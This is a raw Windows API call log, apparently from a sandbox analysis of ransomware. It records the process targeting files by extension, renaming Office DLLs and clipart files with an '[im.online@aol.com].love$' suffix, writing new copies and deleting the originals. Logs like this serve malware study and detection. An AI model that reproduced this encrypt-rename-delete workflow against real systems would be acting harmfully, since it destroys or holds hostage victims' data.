lstrlenW (lpString=".zip") returned 4 [0243.888] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.888] lstrlenW (lpString=".rar") returned 4 [0243.888] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.888] lstrlenW (lpString=".bz2") returned 4 [0243.888] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.888] lstrlenW (lpString=".7z") returned 3 [0243.888] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0243.888] lstrlenW (lpString=".dbf") returned 4 [0243.888] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0243.888] lstrlenW (lpString=".1cd") returned 4 [0243.889] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0243.889] lstrlenW (lpString=".jpg") returned 4 [0243.889] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0243.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0243.889] lstrlenW (lpString=".doc") returned 4 [0243.889] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.889] lstrlenW (lpString=".docx") returned 5 [0243.889] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0243.889] lstrlenW (lpString=".pdf") returned 4 [0243.889] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.889] lstrlenW (lpString=".xls") returned 4 [0243.889] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.889] lstrlenW (lpString=".xlsx") returned 5 [0243.889] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0243.889] lstrlenW (lpString=".ppt") returned 4 [0243.889] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0243.889] lstrlenW (lpString=".zip") returned 4 [0243.889] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.889] lstrlenW (lpString=".rar") returned 4 [0243.889] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.889] lstrlenW (lpString=".bz2") returned 4 [0243.889] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.889] lstrlenW (lpString=".7z") returned 3 [0243.889] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0243.890] lstrlenW (lpString=".dbf") returned 4 [0243.890] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0243.890] lstrlenW (lpString=".1cd") returned 4 [0243.890] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0243.890] lstrlenW (lpString=".jpg") returned 4 [0243.890] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.890] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0243.890] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0243.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0243.892] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=473760) returned 1 [0243.892] CloseHandle (hObject=0x538) returned 1 [0243.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll")) returned 0x420 [0243.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0243.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0243.893] lstrlenW (lpString=".doc") returned 4 [0243.893] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.893] lstrlenW (lpString=".docx") returned 5 [0243.893] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0243.893] lstrlenW (lpString=".pdf") returned 4 [0243.893] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.893] lstrlenW (lpString=".xls") returned 4 [0243.893] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.893] lstrlenW (lpString=".xlsx") returned 5 [0243.893] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0243.893] lstrlenW (lpString=".ppt") returned 4 [0243.893] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0243.893] lstrlenW (lpString=".zip") returned 4 [0243.893] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.893] lstrlenW (lpString=".rar") returned 4 [0243.893] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.893] lstrlenW (lpString=".bz2") returned 4 [0243.893] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.893] lstrlenW (lpString=".7z") returned 3 [0243.893] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0243.893] lstrlenW (lpString=".dbf") returned 4 [0243.893] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0243.893] lstrlenW (lpString=".1cd") returned 4 [0243.893] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0243.894] lstrlenW (lpString=".jpg") returned 4 [0243.894] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0243.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0243.894] lstrlenW (lpString=".doc") returned 4 [0243.894] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.894] lstrlenW (lpString=".docx") returned 5 [0243.894] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0243.894] lstrlenW (lpString=".pdf") returned 4 [0243.894] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.894] lstrlenW (lpString=".xls") returned 4 [0243.894] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.894] lstrlenW (lpString=".xlsx") returned 5 [0243.894] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0243.894] lstrlenW (lpString=".ppt") returned 4 [0243.894] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0243.894] lstrlenW (lpString=".zip") returned 4 [0243.894] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.894] lstrlenW (lpString=".rar") returned 4 [0243.894] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.894] lstrlenW (lpString=".bz2") returned 4 [0243.894] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.894] lstrlenW (lpString=".7z") returned 3 [0243.894] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0243.895] lstrlenW (lpString=".dbf") returned 4 [0243.895] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0243.895] lstrlenW (lpString=".1cd") returned 4 [0243.895] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0243.895] lstrlenW (lpString=".jpg") returned 4 [0243.895] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.895] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0243.895] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0243.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0243.896] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=1761448) returned 1 [0243.896] CloseHandle (hObject=0x538) returned 1 [0243.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll")) returned 0x420 [0243.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0243.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0243.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0243.897] lstrlenW (lpString=".doc") returned 4 [0243.897] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.897] lstrlenW (lpString=".docx") returned 5 [0243.897] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0243.897] lstrlenW (lpString=".pdf") returned 4 [0243.897] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.897] lstrlenW (lpString=".xls") returned 4 [0243.897] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.897] lstrlenW (lpString=".xlsx") returned 5 [0243.897] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0243.897] lstrlenW (lpString=".ppt") returned 4 [0243.897] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0243.897] lstrlenW (lpString=".zip") returned 4 [0243.897] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.898] lstrlenW (lpString=".rar") returned 4 [0243.898] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.898] lstrlenW (lpString=".bz2") returned 4 [0243.898] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.898] lstrlenW (lpString=".7z") returned 3 [0243.898] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0243.898] lstrlenW (lpString=".dbf") returned 4 [0243.898] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0243.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0243.921] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.921] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0243.922] GetLastError () returned 0x0 [0243.922] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0244.246] WriteFile (in: hFile=0x4ec, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0244.247] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.247] WriteFile (in: hFile=0x4ec, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xea, lpOverlapped=0x0) returned 1 [0244.248] SetEndOfFile (hFile=0x4ec) returned 1 [0244.248] CloseHandle (hObject=0x4ec) returned 1 [0244.248] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.248] SetEndOfFile (hFile=0x538) returned 1 [0244.251] CloseHandle (hObject=0x538) returned 1 [0244.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0244.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0244.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0244.252] lstrlenW (lpString=".doc") returned 4 [0244.252] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.252] lstrlenW (lpString=".docx") returned 5 [0244.252] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.252] lstrlenW (lpString=".pdf") returned 4 [0244.252] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.252] lstrlenW (lpString=".xls") returned 4 [0244.252] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.252] lstrlenW (lpString=".xlsx") returned 5 [0244.252] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.252] lstrlenW (lpString=".ppt") returned 4 [0244.252] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0244.252] lstrlenW (lpString=".zip") returned 4 [0244.252] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.252] lstrlenW (lpString=".rar") returned 4 [0244.253] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.253] lstrlenW (lpString=".bz2") returned 4 [0244.253] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.253] lstrlenW (lpString=".7z") returned 3 [0244.253] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0244.253] lstrlenW (lpString=".dbf") returned 4 [0244.253] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0244.253] lstrlenW (lpString=".1cd") returned 4 [0244.253] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0244.253] lstrlenW (lpString=".jpg") returned 4 [0244.253] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0244.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0244.253] lstrlenW (lpString=".doc") returned 4 [0244.253] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.253] lstrlenW (lpString=".docx") returned 5 [0244.253] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.253] lstrlenW (lpString=".pdf") returned 4 [0244.253] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.253] lstrlenW (lpString=".xls") returned 4 [0244.253] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.253] lstrlenW (lpString=".xlsx") returned 5 [0244.253] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.253] lstrlenW (lpString=".ppt") returned 4 [0244.253] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0244.253] lstrlenW (lpString=".zip") returned 4 [0244.253] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.253] lstrlenW (lpString=".rar") returned 4 [0244.253] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.253] lstrlenW (lpString=".bz2") returned 4 [0244.254] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.254] lstrlenW (lpString=".7z") returned 3 [0244.254] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0244.254] lstrlenW (lpString=".dbf") returned 4 [0244.254] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0244.254] lstrlenW (lpString=".1cd") returned 4 [0244.254] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0244.254] lstrlenW (lpString=".jpg") returned 4 [0244.254] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.254] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0244.254] lstrlenW (lpString="FALL_01.MID") returned 11 [0244.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0244.255] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=4846) returned 1 [0244.255] CloseHandle (hObject=0x538) returned 1 [0244.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220 [0244.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0244.255] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.256] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0244.256] GetLastError () returned 0x0 [0244.256] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x12ee, lpOverlapped=0x0) returned 1 [0244.262] WriteFile (in: hFile=0x4ec, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x12f0, lpOverlapped=0x0) returned 1 [0244.263] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.263] WriteFile (in: hFile=0x4ec, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xea, lpOverlapped=0x0) returned 1 [0244.263] SetEndOfFile (hFile=0x4ec) returned 1 [0244.263] CloseHandle (hObject=0x4ec) returned 1 [0244.263] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.263] SetEndOfFile (hFile=0x538) returned 1 [0244.267] CloseHandle (hObject=0x538) returned 1 [0244.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0244.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0244.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0244.269] lstrlenW (lpString=".doc") returned 4 [0244.269] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.269] lstrlenW (lpString=".docx") returned 5 [0244.269] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.269] lstrlenW (lpString=".pdf") returned 4 [0244.269] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.269] lstrlenW (lpString=".xls") returned 4 [0244.269] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.269] lstrlenW (lpString=".xlsx") returned 5 [0244.269] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.269] lstrlenW (lpString=".ppt") returned 4 [0244.269] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0244.269] lstrlenW (lpString=".zip") returned 4 [0244.269] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.269] lstrlenW (lpString=".rar") returned 4 [0244.269] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.269] lstrlenW (lpString=".bz2") returned 4 [0244.269] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.269] lstrlenW (lpString=".7z") returned 3 [0244.269] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0244.269] lstrlenW (lpString=".dbf") returned 4 [0244.269] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0244.269] lstrlenW (lpString=".1cd") returned 4 [0244.269] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0244.269] lstrlenW (lpString=".jpg") returned 4 [0244.269] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 